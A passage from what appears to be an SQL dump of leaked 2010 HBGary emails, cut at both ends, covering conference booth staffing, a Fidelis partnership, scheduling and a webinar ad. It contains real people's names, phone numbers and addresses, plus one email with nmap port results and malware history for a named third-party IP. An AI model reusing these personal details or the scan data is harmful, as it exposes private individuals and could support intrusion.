to send somebody for Thur and Fri for booth duty?&nbsp; If it gets busy it would be better to have two people.\r\nBobOn Thu, May 27, 2010 at 5:23 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can only have two booth staffers.&nbsp; Booth Set up is on\r\nTuesday so Aaron, if you want to attend at NO CHARGE, you have to work booth\r\nand help bob do demo’s and set up.&nbsp; Martin will be there for part of\r\nTuesday and part of Wednesday. (see below)&nbsp; Ted can’t come unless he\r\npays.&nbsp; &nbsp;§&nbsp; Booth #:&nbsp; 8§&nbsp; Location: 2ND Level\r\nat the InterContinental Hotel Miami§&nbsp; Setup: Tuesday, June 15th\r\nfrom 2:00PM-4:00PM§&nbsp; Teardown: Friday, June 18th\r\nfrom 1:30PM-3:00PM&nbsp;§&nbsp; Exhibit Hours:o&nbsp;&nbsp;&nbsp; Tuesday, June 15th\r\nfrom 4:00PM-8:00PM o&nbsp;&nbsp;&nbsp; Wednesday, June 16th\r\nfrom 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM;\r\n5:00PM-6:00PMo&nbsp;&nbsp;&nbsp; Thursday, June 17th\r\nfrom 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PMo&nbsp;&nbsp;&nbsp; Friday, June 18th\r\nfrom 8:00AM-8:45AM; 12:00PM-1:30PM &nbsp;&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13895,'aaron_hbgary_com/13895.html'),(6857,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004939.M164819P14101Q1712.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Sites I have been using','I started to look at the list from Disney and the sites I have been using are:www.robtex.comwww.botsvsbrowsers.comwww.mxtoolbox.comnews.netcraft.comwhois.domaintools.comAlso used nmap a little.As an example of what I put together with this. &nbsp;This seems to me to be a hacked IP, given the registrar is a guy living in NY.IP : 192.195.66.48Confidence : 10%Events :Conficker\r\nC : Fri Sep 18 09:06:28 2009 GMTConficker\r\nA/B : Thu Mar 19 21:57:36 2009 GMTRegistered domain, wheelerwerks.com, registered with&nbsp;DynDNSRecord\r\ncreated Oct – 2008.NMAP lists 3 open ports:&nbsp;21/tcp&nbsp;&nbsp; open&nbsp; ftp?,&nbsp;554/tcp&nbsp; open&nbsp; rtsp?,&nbsp;7070/tcp open&nbsp;\r\nrealserver?NMAP seems to think it’s a Apple Airport extreme WAP\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3193,'aaron_hbgary_com/3193.html'),(6858,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004939.M507374P14101Q1713.eml','\"David Etue\" <david@etue.net>','Evaluation VMs','Hey Dave,\r\n\r\nDo you know when we might see the access for the VMs for the Fidelis products we can start integrating?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12257,'aaron_hbgary_com/12257.html'),(6859,'2010-06-01','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004946.M323285P14101Q1714.eml','\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>,\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>','RE: Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nKurt,\r\n\r\n&nbsp;\r\n\r\nDo you have the status of the portal\r\naccount?&nbsp; HB Gary is ready to go.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Thursday, May 27, 2010 10:00 AM\r\nTo: Bertone, Kurt\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKurt,\r\n\r\n&nbsp;\r\n\r\nThe portal account should be\r\nfor:\r\n\r\n&nbsp;\r\n\r\nTed\r\nVera&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nTed@HBGary.com\r\n\r\n&nbsp;\r\n\r\nWill Jon confirm with you, Aaron, Ted and I when\r\ncomplete?&nbsp; It needs access to CommandPost VM, Direct VM, API guide and\r\nproduct documentation.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Tuesday, May 25, 2010 5:22 PM\r\nTo: \'Aaron Barr\'\r\nCc: Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, Stacey;\r\nMancini, Jerry; Harvey, Kevin\r\nSubject: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks for your time to discuss how we can work together to\r\nintegrate Fidelis XPS in a Scout form factor into your incident response\r\nofferings at HB Gary Federal.&nbsp; I would like to bring some of the broader\r\nFidelis team into the discussion (cc&#8217;d on this e-mail), and work on some next\r\nsteps. \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAgreements &#8211; you should have received\r\ncounter-signed partner agreements back from Gary Kramer (CFO).&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccess to VMs and API guide &#8211; with the signed\r\nagreement, you will get a portal account.&nbsp; Kurt Bertone (VP, Strategic\r\nAlliances) will ensure the portal account process gets kicked off.&nbsp; Should\r\nwe issue you the account, or is there a technical lead on your team whose name\r\nwe should put the account it?&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI&#8217;d recommend you download and install Fidelis\r\nXPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be almost\r\nidentical in functionality to the Scout platform. \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD,\r\n1 vNIC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB\r\nHDD, 4 vNICs\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe API guide will be included, and covers the\r\nvarying integration scenarios.&nbsp; Kurt and Jerry Mancini (VP,\r\nEngineering) can organize resources to provide technical support on the\r\nAPI.&nbsp; Our file extraction API is changing to make it much easier with our\r\n6.2 release, so it may make sense to schedule a call with Jerry to\r\ndiscuss.&nbsp; I&#8217;ve also attached the latest version of my proposed integration\r\nguide in case its useful.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraining &#8211; Fidelis will provide a complimentary\r\ntechnical training session either in Bethesda or web-based, depending which is\r\npreferred for the HB Gary Federal team, led by Kevin Harvey (Senior Sales\r\nEngineer), with assistance from Jerry on the API.&nbsp; &nbsp;There is also\r\na chance that Kevin may be in Colorado Springs, so we may be able to have that\r\nas the location.&nbsp; Getting dates confirmed quickly will be important\r\nto meet the aggressive launch date.\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketing Launch &#8211; Stacey Sweeney (VP,\r\nMarketing) will lead this from the Fidelis side. &nbsp;I&#8217;ve discussed\r\nsupporting FIRST in mid-June, so we&#8217;d need to move quickly.&nbsp; We&#8217;d like to\r\nget HB Gary featured on our partner web site with a description of the incident\r\nresponse offerings, and would also be interested in a joint press\r\nrelease.&nbsp; We also likely could provide some collateral on our products for\r\nthe event.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcuring a Scout &#8211; As we discussed, we are very\r\nexcited about the Scout driving incident response opportunities.&nbsp; In order\r\nto best determine how this business model will work, we propose that we make\r\navailable a Scout at an aggressive discount with a 3-6 month license\r\nincluded.&nbsp; At the end of the included license period, we get together and\r\nmutually review the results and determine how best to license the system moving\r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think\r\nthere could be a lot of potentially models. As I mentioned, we have the ability\r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning\r\nto a laptop-based model.&nbsp; Kurt, Gary and I will lead this process\r\nfrom Fidelis.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReseller / leave behind proposal &#8211; I see two\r\ndifferent opportunities here, and they aren&#8217;t mutually exclusive.&nbsp; Kurt\r\nleads our Channel Partner program and can provide details on becoming an\r\nauthorized reseller.&nbsp; Additionally, since you are primarily targeting\r\nfederal customers, it may be difficult for HB Gary Federal to sell the solution\r\nwithout access to particular contract vehicles.&nbsp; We also have a referral\r\nagreement program, lead out of our sales organizations.&nbsp; Gary Benedetti\r\n(VP, Sales) can provide the details. I&#8217;d suggest that we schedule a call\r\nbetween the four of us to discuss next steps, as one or more may make\r\nsense.&nbsp; Aaron &#8211; can you provide a few times you have available in\r\nthe next week?&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&#8220;Go to market plan&#8221; &#8211; we like to put together a\r\nvery simple document so that we understand the goals and objectives of the\r\npartnership.&nbsp; This shouldn&#8217;t be more than 2 pages, covering roadmap and\r\nrules of engagement document so we know how to engage in the field.&nbsp;\r\nGary Benedetti and I can help on the Fidelis side.&nbsp; We&#8217;ll start the\r\ntemplate and provide it to you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe are excited about this offering and look forward to\r\nhelping launch it!\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15425,'aaron_hbgary_com/15425.html'),(6860,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004946.M581095P14101Q1715.eml','paczynskir@saic.com','NANA','Hi Robert,\r\n\r\nI am the CEO of HBGary Federal, the services sister company to HBGary Inc..  We specialize in incident response (malware analysis), threat intelligence, and information operations services.  I was given your contact information from Mike Mulville.  I spoke with Scott Sheldon as well a little while back about NANA.  Unfortunately we came late to the party, we would have very much liked to have been on your team, but we just started the services company in November.  I would like to have a brief conversation with you whenever you are available about our company.  If there are positions you are having a difficult time filling, or for potential future positions we would like to be considered.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11126,'aaron_hbgary_com/11126.html'),(6861,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004946.M838973P14101Q1716.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Discussion','How about 1pm EST?\r\n\r\nAaron\r\n\r\nOn Jun 1, 2010, at 11:13 AM, Daniel Ingevaldson wrote:\r\n\r\n> Aaron--sure thing.  I see you guys are blasting away at the API!  What time(s) work for you?\r\n> \r\n> -d\r\n> \r\n> On Jun 1, 2010, at 11:12 AM, Aaron Barr wrote:\r\n> \r\n>> Hey Daniel,\r\n>> \r\n>> Can we chat today?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11790,'aaron_hbgary_com/11790.html'),(6862,'2010-06-01','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004947.M249491P14101Q1717.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion','Aaron, sorry, somebody just grabbed 1pm and I\'m locked up from 2-4:30.  Can you talk before 1pm or after 4:30?\r\n\r\n-d\r\n\r\nOn Jun 1, 2010, at 11:52 AM, Aaron Barr wrote:\r\n\r\n> How about 1pm EST?\r\n> \r\n> Aaron\r\n> \r\n> On Jun 1, 2010, at 11:13 AM, Daniel Ingevaldson wrote:\r\n> \r\n>> Aaron--sure thing.  I see you guys are blasting away at the API!  What time(s) work for you?\r\n>> \r\n>> -d\r\n>> \r\n>> On Jun 1, 2010, at 11:12 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hey Daniel,\r\n>>> \r\n>>> Can we chat today?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> \r\n>> ---------------------------------\r\n>> Daniel S. Ingevaldson, COO\r\n>> Endgame Systems, LLC\r\n>> dsi@endgames.us\r\n>> (w)404-781-2955\r\n>> (f)404-781-2951\r\n>> (m)404-992-9449\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n---------------------------------\r\nDaniel S. Ingevaldson, COO\r\nEndgame Systems, LLC\r\ndsi@endgames.us\r\n(w)404-781-2955\r\n(f)404-781-2951\r\n(m)404-992-9449\r\n\r\n',789,'aaron_hbgary_com/789.html'),(6863,'2010-06-01','\"Courtney Augustine\" <CAugustine@infoblox.com>','/aaron@hbgary.com/new/1297004947.M886253P14101Q1718.eml','aaron@hbgary.com','Friendly Reminder!  Join our Discussion on the IT Automation Imperative','\r\n\r\nLearn how Network Automation Can Reduce Costs and Increase Productivity\r\nA:link {\r\n	COLOR: #104a7a\r\n}\r\nA:visited {\r\n	COLOR: #104a7a\r\n}\r\nA:hover {\r\n	COLOR: #ff9900\r\n}\r\nA:active {\r\n	COLOR: #104a7a\r\n}\r\n.style1 {\r\n	FONT-FAMILY: Arial, Helvetica, sans-serif; FONT-SIZE: 12px\r\n}\r\n.style2 {\r\n	FONT-SIZE: 10px\r\n}\r\n.style5 {\r\n	FONT: 18px/21px Arial; COLOR: #104a7a\r\n}\r\n.style6 {\r\n	COLOR: #666666; FONT-WEIGHT: bold\r\n}\r\n.style7 {\r\n	FONT-FAMILY: Arial; FONT-SIZE: 10pt\r\n}\r\n.style8 {\r\n	FONT-FAMILY: Arial; COLOR: #fff; FONT-SIZE: 8pt; VERTICAL-ALIGN: middle\r\n}\r\n\r\n\r\n\r\n\r\n\r\nIf you are having trouble reading this email, read the online version.\r\n\r\n\r\n \r\n \r\nNot automating critical&nbsp;IT functions&nbsp;is the equivalent of a slow water leak you never knew you had, literally pouring IT resources and budget down the drain.&nbsp; And, it can compromise the successful deployment of your key initiatives (i.e., going green, reducing costs, achieving security and compliance) and applications (i.e. virtualization, cloud, IPv6 and others) with brittle, manually intensive network infrastructure and services. \r\n\r\nAttend this 30-minute webinar with Forrester, Infoblox and US Bank to learn where to start introducing network automation into your organization so you can: \r\n\r\nAddress Hidden IT Costs \r\nSupport Key Initiatives \r\nAchieve Operational Optimization \r\nApply IT Resources More StrategicallyDate & Time: 8:00 a.m. PDT/11:00 a.m EDT&nbsp;June 2, 2010Speakers: \r\n\r\n\r\n\r\n\r\n\r\n\r\nGlenn O\'DonnellSenior AnalystForrester Research Inc. \r\n\r\n\r\nEric L. CummingsVice President Product OperationsUS Bank\r\n© 2010 Infoblox Inc. All rights reserved. \r\n1 \"The Shifting Sands Of IT Compel A New Landscape For IT Automation Tools,\" Forrester Research, Inc., October 2009.You are receiving this email because you have requested information from us in the past or have requested information from one of our trusted partners. If you would like to change your communications preferences or no longer receive mailings from Infoblox, please use the &nbsp;unsubscribe link , or write us at Infoblox, 4750 Patrick Henry Dr., Santa Clara, CA 95054 USA.\r\n\r\n\r\n',4916,'aaron_hbgary_com/4916.html'),(6864,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004948.M123836P14101Q1719.eml','\"Tesch, John\" <jtesch@coloradotech.edu>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Meet?','I\'m good for 8pm on Thursday at CTU, and Aaron doesn\'t fly until\r\nSaturday, so this should work.  My cell is 719-237-8623.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Jun 1, 2010 at 10:18 AM, Tesch, John  wrote:\r\n> Yes, I am out of town all day until 6PM. I am flying out on Friday morning so this is the only time.\r\n>\r\n> ________________________________________\r\n> From: Ted Vera [ted@hbgary.com]\r\n> Sent: Tuesday, June 01, 2010 11:08 AM\r\n> To: Tesch, John\r\n> Subject: Re: Meet?\r\n>\r\n> 8PM?\r\n>\r\n> On Tue, Jun 1, 2010 at 9:18 AM, Tesch, John  wrote:\r\n>> I can do 8:00 PM at the universtiy on Thursday.\r\n>>\r\n>> ________________________________________\r\n>> From: Ted Vera [ted@hbgary.com]\r\n>> Sent: Tuesday, June 01, 2010 10:11 AM\r\n>> To: Tesch, John\r\n>> Subject: Re: Meet?\r\n>>\r\n>> He arrives Wed evening.  Will Thursday work?\r\n>>\r\n>> On Tue, Jun 1, 2010 at 8:45 AM, Tesch, John  wrote:\r\n>>> Ted,\r\n>>>\r\n>>> I had to go to Vegas to learn of your move. Congrats. Many things are happening at CTU in the security area. I have to fly out to NSA to pick up the Academic Center of Excellence certification later this week. Can I meet with Aaron on Wednesday, 8:00 or 9:00 AM?\r\n>>>\r\n>>> John\r\n>>>\r\n>>> ________________________________________\r\n>>> From: Ted Vera [ted@hbgary.com]\r\n>>> Sent: Monday, May 31, 2010 10:42 AM\r\n>>> To: Tesch, John\r\n>>> Subject: Meet?\r\n>>>\r\n>>> Hi John,\r\n>>>\r\n>>> Aaron Barr will be in Colorado Springs this Wed-Fri, if you\'d like to\r\n>>> meet to discuss the CTU security lab and how you think HBGary can\r\n>>> help.\r\n>>>\r\n>>> Ted\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16879,'aaron_hbgary_com/16879.html'),(6865,'2010-06-01','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297004948.M397253P14101Q1720.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Evaluation VMs','I don\'t know why they weren\'t set up last Wednesday.  We\'ve had a bunch \r\nof support people on vacation at the same time, so some stuff has \r\ndropped.  I sent a follow up, and I know worst case the director of \r\nsupport is back tomorrow.\r\n\r\nSorry :(\r\n\r\nDavid\r\n\r\nOn 6/1/2010 11:10 AM, Aaron Barr wrote:\r\n> Hey Dave,\r\n>\r\n> Do you know when we might see the access for the VMs for the Fidelis products we can start integrating?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',11410,'aaron_hbgary_com/11410.html'),(6866,'2010-06-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004948.M612405P14101Q1721.eml','all@hbgary.com','Great feedback from CEIC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nAnthony of Computer Sciences Corp said he was &#8220;blown\r\naway&#8221; by the AD demo at CEIC.&nbsp; Thank you dev team for a great\r\nproduct. And thank you Greg for doing that demo.\r\n\r\n&nbsp;\r\n\r\nCSC said AD will give them so much more than just DDNA and\r\nRAM analysis.&nbsp; They are looking at us to fill many more needs now.&nbsp; CSC\r\nwill be doing an eval and hopefully they will get $$ approval to buy.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11271,'aaron_hbgary_com/11271.html'),(6867,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004948.M969609P14101Q1722.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Results & IP Blocks','Attached are the IP netblocks we ran for Dupont and Qinetiq.  Dupont\r\nresults attached.  No hits found against Qinetiq IPs.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Mark Trynor \r\nDate: Tue, Jun 1, 2010 at 11:02 AM\r\nSubject: Results & IP Blocks\r\nTo: Ted Vera \r\n\r\n\r\nIP blocks for Dupont & Qinetiq.  Qinetiq had a small range of ips and\r\nreturned no hits.\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13631,'aaron_hbgary_com/13631.html'),(6868,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004949.M278340P14101Q1723.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Results & IP Blocks','Rich / Phil,\r\n\r\nI thought you might be interested in this.  We have API access to\r\nEndGame Systems database and this is what we found for Dupont.\r\n\r\nTed\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Jun 1, 2010 at 11:04 AM\r\nSubject: Fwd: Results & IP Blocks\r\nTo: Barr Aaron , Penny Leavy ,\r\nGreg Hoglund \r\n\r\n\r\nAttached are the IP netblocks we ran for Dupont and Qinetiq.  Dupont\r\nresults attached.  No hits found against Qinetiq IPs.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Mark Trynor \r\nDate: Tue, Jun 1, 2010 at 11:02 AM\r\nSubject: Results & IP Blocks\r\nTo: Ted Vera \r\n\r\n\r\nIP blocks for Dupont & Qinetiq.  Qinetiq had a small range of ips and\r\nreturned no hits.\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12490,'aaron_hbgary_com/12490.html'),(6869,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004949.M598335P14101Q1724.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can&#8217;t, it&#8217;s the way the show is.  Martin will be there\r\nTuesday/Wednesday.  I guess if Ted checked in as Aaron it might work\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 01, 2010 6:33 AM\r\nTo: Aaron Barr; Penny C. Hoglund\r\nSubject: Re: FIRST\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron and Penny,\r\n\r\nLooks like the FIRST conference conflicts with REBL.&nbsp; If Aaron is doing\r\nREBL on June 17, wouldn\'t it make sense to send somebody for Thur and Fri for\r\nbooth duty?&nbsp; If it gets busy it would be better to have two people.\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 5:23 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe\r\ncan only have two booth staffers.&nbsp; Booth Set up is on Tuesday so Aaron, if\r\nyou want to attend at NO CHARGE, you have to work booth and help bob do demo&#8217;s\r\nand set up.&nbsp; Martin will be there for part of Tuesday and part of\r\nWednesday. (see below)&nbsp; Ted can&#8217;t come unless he pays.&nbsp; \r\n\r\n&nbsp;\r\n\r\n§&nbsp; Booth\r\n#:&nbsp; 8\r\n\r\n§&nbsp; Location: 2ND Level at the InterContinental Hotel Miami\r\n\r\n§&nbsp; Setup: Tuesday, June 15th from 2:00PM-4:00PM\r\n\r\n§&nbsp; Teardown: Friday, June 18th from 1:30PM-3:00PM\r\n\r\n&nbsp;\r\n\r\n§&nbsp; Exhibit\r\nHours:\r\n\r\no&nbsp;&nbsp;&nbsp; Tuesday,\r\nJune 15th from 4:00PM-8:00PM \r\n\r\no&nbsp;&nbsp;&nbsp; Wednesday,\r\nJune 16th from 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM;\r\n3:30PM-4:00PM; 5:00PM-6:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Thursday,\r\nJune 17th from 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Friday,\r\nJune 18th from 8:00AM-8:45AM; 12:00PM-1:30PM \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6235,'aaron_hbgary_com/6235.html'),(6870,'2010-06-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004950.M39933P14101Q1725.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron replied that his REBL talk is Tuesday, so he will be there\r\nWed am through the rest of the week.  So, no 